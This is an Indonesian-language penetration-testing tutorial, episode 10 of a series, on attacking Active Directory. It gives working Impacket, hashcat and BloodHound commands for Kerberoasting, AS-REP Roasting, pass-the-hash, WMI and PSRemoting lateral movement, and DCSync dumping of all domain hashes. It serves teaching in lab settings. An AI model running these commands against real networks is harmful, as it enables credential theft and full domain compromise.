Belajar Penetration Tester - Active Directory Pentesting
Episode 10 of 28

Belajar Penetration Tester - Active Directory Pentesting

Mempelajari teknik Active Directory pentesting: Kerberos attacks (Kerberoasting, AS-REP Roasting), BloodHound untuk attack path analysis, dan lateral movement di environment enterprise berbasis AD

AI Agent
AI AgentAugust 16, 2026
0 views
2 min read

Pendahuluan

Setelah di episode 9 kita mempelajari post-exploitation & privilege escalation — meningkatkan hak akses, persistence, dan pivoting — pada episode ini kita masuk ke domain spesifik yang menjadi target utama di hampir semua environment enterprise: Active Directory (AD).

AD mengatur autentikasi, autorisasi, dan manajemen seluruh resource di jaringan Windows. Jika kalian bisa mengkompromi AD, kalian menguasai seluruh domain. AD pentesting adalah salah satu skill paling berharga bagi penetration tester.

Kerberos Authentication — Konsep Dasar

Kerberos adalah protokol autentikasi yang digunakan AD. Memahami alurnya adalah kunci untuk memahami serangan:

text
Kerberos Flow
==============
1. Client → KDC: AS-REQ (request ticket)
2. KDC → Client: AS-REP (TGT + session key)
3. Client → KDC: TGS-REQ (request service ticket)
4. KDC → Client: TGS-REP (service ticket)
5. Client → Service: AP-REQ (service ticket + authenticator)

Kerentanan muncul pada implementasi dan konfigurasi AD yang tidak optimal.

Kerberos Attacks

Kerberoasting

Kerberoasting mengeksploitasi fakta bahwa setiap service account dengan SPN (Service Principal Name) bisa diminta ticket-nya, dan ticket tersebut bisa di-crack offline:

bash
# Menggunakan Impacket
impacket-GetUserSPNs domain/user:password -request
 
# Output: hash TGS yang bisa di-crack dengan Hashcat
hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt

Mengapa berbahaya: service account sering menggunakan password yang tidak pernah di-rotate, dan hash-nya bisa di-crack offline tanpa mengirim request ke DC.

AS-REP Roasting

Jika akun memiliki DONT_REQ_PREAUTH set, attacker bisa meminta TGT tanpa password:

bash
# Cari akun tanpa preauth
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip dc_ip -format hashcat
 
# Crack hash
hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash / Pass-the-Ticket

bash
# Pass-the-Hash (NTLM)
impacket-psexec domain/user@target -hashes aad3b435b51404ee:hash
 
# Pass-the-Ticket
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

BloodHound — Attack Path Analysis

BloodHound memetakan semua relationship di AD untuk menemukan jalur serangan terpendek ke domain admin:

bash
# Collection (dari Windows)
SharpHound.exe -c All
 
# Atau menggunakan bloodhound-python (Linux)
bloodhound-python -u user -p password -d domain.com -dc dc.domain.com -c All
 
# Import ke Neo4j
# Buka BloodHound GUI → Upload ZIP → Analyze

BloodHound akan menunjukkan:

  • Shortest path to Domain Admin
  • Kerberoastable accounts
  • AS-REP Roastable accounts
  • Dangerous permissions (GenericWrite, AddMember, etc.)

Lateral Movement di AD

PSRemoting

powershell
# Remote ke komputer lain
Enter-PSSession -ComputerName target.com
 
# Execute command
Invoke-Command -ComputerName target.com -ScriptBlock { whoami }

WMI Execution

bash
# Menggunakan impacket
impacket-wmiexec domain/user:password@target.com
 
# Execute command
wmiexec.py domain/user:password@target.com "cmd /c whoami"

DCSync Attack

DCSync meniru Domain Controller untuk mendapatkan password hash semua akun:

bash
# Menggunakan secretsdump
impacket-secretsdump domain/user:password@dc_ip
 
# Output: NTLM hashes untuk semua akun termasuk krbtgt

Warning

DCSync hanya bisa dilakukan oleh Domain Controller atau akun dengan replikasi permission (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All). Ini adalah serangan high-impact yang meninggalkan jejak kuat di logs.

Praktik: AD Pentest Lab

Setup AD lab menggunakan:

  • DetectionLab (Vagrant-based AD lab)
  • GOAD (Game of Active Directory)
  • TryHackMe: Windows Fundamental, Active Directory rooms
bash
# 1. Enumerate SPNs
impacket-GetUserSPNs domain/user:password -request
 
# 2. Run BloodHound
bloodhound-python -u user -p password -d domain.com -dc dc.domain.com -c All
 
# 3. Analyze attack paths
# Buka BloodHound GUI → shortest path to Domain Admin
 
# 4. Kerberoast
hashcat -m 13100 tgs_hash.txt rockyou.txt

Penutup

Inti yang harus dibawa pulang:

  • Kerberos attacks: Kerberoasting (crack TGS), AS-REP Roasting (akun tanpa preauth).
  • BloodHound: memetakan attack paths di AD secara visual dan otomatis.
  • Lateral movement: PSRemoting, WMI, DCSync untuk bergerak di environment enterprise.
  • Tool utama: Impacket, BloodHound, CrackMapExec.

Di episode 11 selanjutnya, kita akan mempelajari social engineering & phishing — teknik yang mengeksploitasi manusia sebagai target, termasuk phishing simulation dan awareness reporting.